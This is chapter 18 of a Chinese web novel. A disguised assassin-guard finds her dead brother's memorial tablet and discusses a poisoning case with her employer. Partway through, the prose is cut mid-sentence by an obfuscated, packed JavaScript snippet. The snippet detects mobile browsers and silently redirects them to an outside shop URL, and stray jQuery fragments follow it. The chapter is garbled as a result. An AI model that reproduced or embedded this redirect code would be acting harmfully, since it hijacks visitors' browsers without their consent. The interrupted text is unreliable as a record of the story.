18.兄长牌位
    “哥哥……”

    指尖颤抖地抚摸着牌位上的墨字,宋挽月声线哽咽。

    原以为那夜后,横死在那场惨案中的亲人已变成乱葬岗上满腹冤屈的孤魂野鬼,未曾想,居然在繁荣奢华的上京,仍旧有人愿意给他们留一片净土。

    木龛不染纤尘,牌位孤独而立,娟秀俊逸的墨字篆刻着‘既明’二字。

    宋家长子名为宋昭煜,字既明。

    木龛侧面同样用墨色篆着行小字,写着亡故日期以及祭奠人。

    亡故日期为贞德二年的七月初十,正是将军府被刺客抄家那日。而立牌人则写着其妻兰芷。

    其妻?兰芷?

    看着这几行字,宋挽月沉默着在嘴中默念了几遍。

    她哥虽年过双十,但从未议亲,哪来的什么妻子?

    不仅如此,即便在亡故之前,她也从未听说大哥和上京哪位姑娘交好过。难不成是他与旁人私定终身一直瞒着家里,可这又何必?她父亲母亲均是开明之人,倘若哥哥真的在外有心仪的姑娘,也断然不会阻拦。

    兰芷,应当是顾思柳的表字。

    她对哥哥用情如此之深,那对当年惨案的内情,也定然知晓一二。

    拭去眼尾的湿润,她吸了吸鼻尖,窗笼外明月已高高挂起,周遭盘旋的繁星如已故之人的双眸,正一眨一眨地诉说无尽的哀思。

    收拾好情绪,她翻窗而下。

    此时香客已全然散尽,徒留几位提着香灯的僧童,不疾不徐地打扫着蒙尘的石阶。

    宋挽月回到车马停靠的地方,车夫抱臂倚在葱茏巨树旁休憩,宋挽月唇角翕动,刚想叫醒他,便发现树上还有个人,本能抬眸望去。

    “裴公子,你怎么在这?”

    只见裴玄单腿耷拉在树杈上,悠闲地左右回荡,“怎么,打着我的名义擅自行动,我还不能过来瞧瞧了?”

    不知裴玄来了多久,亦不知他对她此行知晓几分,宋挽月抬手摘下腰牌,不忿地扔给了他,“我这是……来查案的!碰到可疑人员等不及向你汇报,情急之下,才选择擅自前往……”

    接过腰牌,裴玄在掌心摩挲了两下,落地时脚踩着垂落的枝干发出清脆的声响,“查案?”

    他幽幽靠近,眼神落在她被泪沾湿的长睫,“不过是查案,怎得把自己搞得如此狼狈?谁欺负你了?”

    似是感觉到他温热的呼吸,宋挽月下意识后退了半步,“没,没人欺负我。就是殿内有僧童点了香薰,所以一不下心被熏了眼睛。”

    她隐瞒身份三年,如今将军府冤案未解,她决不能让任何人知晓她的身份。看来,裴玄应当不知她跟进往生殿的事,否则也不会这么问。

    “所以呢?查到了什么?”手中不知何时多了块素色方帕,裴玄递给了她。

    宋挽月迟疑了一瞬,还是伸手接过,将自己从醉红楼一路追来的见闻,简单叙述了一遍。

    “我觉得,到底是我太敏感了,顾家小姐跟此事并无关联。她当时出现在醉红楼只是凑巧,跟其余想看热闹的老百姓一样,并无丝毫可疑。”

    裴玄望着高挂九天的悬月,淡淡地问,“既无可疑,为何不早些返回?硬是要等到月黑风高之时,让人来寻你?”

    知晓裴玄多疑,宋挽月坦然解释,“正是因为仔细探查过才确信顾小姐无疑,我原以为她千里迢迢而来是为了向背后同伙递信,可将法华殿仔细探查过才知,殿内一切正常,全无任何与他人通信的手段。”

    对宋挽月的话不置可否,裴玄轻笑了声,“只是探查一番,就能确信她无疑?我看你是又被那顾小姐的美貌给迷惑了心智,是非对错都辩驳不清。”

    “你!”

    没成想她如今在裴玄心中的印象已变成贪图美色的愚蠢之徒,瞧着他探究的视线,她无所辩驳,“窈窕之女,君子好逑,这没什么不好。倘若裴大人觉得她有疑,那放手去查便是。我到底只是保护大人安危的一名暗卫,说得话自然是无足轻重。”

    见宋挽月已是破罐子破摔,裴玄温润的眼当即便生出几分寒意,“你说得是,你是我花钱雇佣的杀手,贴身保护我的安危才是你应尽之事。倘若你再贪图美色夹缠不清,我便亲自送你回破晓阁,并将你所言所行,一五一十地告知暗卫阁阁主,赐你个玩忽职守的罪名!”

    薄凉清冷的脸淡淡地划过宋挽月倔强的面庞,他嗓音清越,一字一句都像在警告。

    不知他此次怎会有如此大的反应,之前她屡次袒护寻月,他都只是简单劝诫一番。

    这次居然生了如此大火气,难不成是他和顾小姐有何私隐?

    伸了个懒腰,听着二人闲谈,起先靠坐在树下休憩的车夫也悠悠清醒过来。

    他眼皮微抬,赫然看到几步外长身玉立的身影,当即倒抽了一口凉气,跌跌撞撞地爬起。

    “裴……裴大人,你怎得来了?我不是故意……我只是……只是太过困倦……所以才……”

    微微转头,裴玄正对上车夫那惶恐骇然的脸,“无碍,回去吧,去常德医馆一趟。”

    他眉间尽是烦躁,拢了拢衣袖,扬步踏入车内。

    “是,大人。”

    车夫听到吩咐,忙不迭应是,宋挽月瞧着那帘络垂下,也跟着上了车。

    一个时辰之后,马车稳稳停在常德医馆门前,景年听闻动静起身出门相迎,瞧见公子和宋挽月一道归来,眼底不自觉闪过丝讶异。

    “祁月,你怎得跟公子一道回来?这么长时间你去哪了?你说得那个可疑之人,可有查清底细?”

    屈身下马,宋挽月听着景年一连串的问句,不自觉拧眉,“查清了,是江南富商顾氏的千金小姐,应当和此案并无关联。你呢,醉红楼那边可有异状?”

    景年思忖须臾,缓缓道来,“是有发现,跟你想得一样,映红惨死的那间房的窗子确有微尘聚结,应当是被人踩过的痕迹。只是前日刚下过暴雨,所以无法瞧出脚印原本形状。倘若凶手真是在映红中毒昏迷后再刺死了她,那一切也都说得通了。查验尸首的仵作道,映红所中之毒乃是绝息散,发作之后呈口吐白沫,气绝濒死之相,也难怪老鸨会觉得她已身亡,而未找医士瞧看。”

    “可是……为何呢?”虽情况已然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13556081|140852||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    查明,但宋挽月还是生了丝怪异之感,“倘若凶手之初就是想要人命,那直接毒杀不就好了,为何还要铤而走险亲自上门杀人?”

    景年一听,也觉得奇怪,“也是,会不会就像之前说得那般,凶手是想神不知鬼不觉的一击毙命,毕竟其他受害者身上除了致命伤也无任何挣扎的痕迹。”

    “多此一举,”裴玄冷言,“凶手之所以这么做,定是要掩盖什么。受害人所中之毒皆是蛮夷之毒,倘若被人瞧出他们是中毒而死,那必然会从中知晓凶手和蛮夷的关系。可若是判为寻常的剑伤,那便不会牵扯到外族,会大大提升此案侦破的难度。”

    “不错,”宋挽月复言,“这也是为什么凶手会将蛮夷之毒和大黎之毒混合投放的原因。倘若用大黎本土的毒药,那官府只需查明毒药的来源,便可进一步揪出背后投毒之人。可两毒混用则很难辨出所下之毒究竟为何物,线索到这也会被硬生生截断。”

    听闻此话,景年恍然大悟,“原是如此,那咱们这么长时间的努力岂不是都是在白费功夫?”

    查了这么久线索终是断了,如此算来,除了掌握了醉红楼和李氏的罪证,这背后凶犯的下落,是一点没查到。

    “裴公子认为,与蛮夷勾结之人,究竟是何身份?”宋挽月眼底写满探究,垂在身侧的手不自觉收紧。

    裴玄道,“不知。”

    他表情瞧不出情绪,“自从三年前宋府被抄之后,京中未尝传出有哪位高官有通敌叛国之疑。朝廷近些年一直在探查蛮夷细作之事,恐有敌细潜入也说不定。”

    听了裴玄所言,宋挽月只觉得万分可笑,正所谓几十载御敌无人知,一朝叛国天下闻,倘若她父兄当真有叛国的心思,恐怕大黎在几十年前就已经亡了,根本不可能苟且至今。

    “裴大人说得有理,”宋挽月面无表情,“既然裴大人心中对凶犯的身份已有了猜测,想必后面的追查也定然万分顺遂。”

    说罢,她便先一步进了偏院,李文德仍旧在床榻昏迷不醒,只是暂时无性命之忧。

    察觉到某人情绪不对,景年紧抿着唇,“公子,你们在回来的途中究竟发生了何事?怎么感觉祁月说话阴阳怪气的,似是在生气?”

    裴玄望着那道渐行渐远的倩影,不耐地说,“无事,只是他借助职务之便勾搭富商千金恰巧被我撞到了而已,并未有何要紧。”

    “勾搭?富商千金?”景年满头问号,“不是吧?祁月看起来不是那样的人啊?况且他自己长得就很清秀,还能有谁长得有他好看?”

    他声音愈来愈低,回想起祁月男扮女装那日,不自觉心痒难耐。

    “景年,要不你还是回宫吧?”裴玄神色愠怒,“宫中美貌伶俐的宫女不在少数,倘若你要是有瞧上的,我可做主纳入你房中。”

    察觉到危险,景年忙不迭摆手,“公子,我知错了!我对女子可不感兴趣,还是守在公子身侧任您差遣为妙。”

    再说,那祁月也并非女子……

    见他耷拉着脑袋,裴玄也没再言语。

    他拂袖而过,景年立马寸步不离地跟了上去。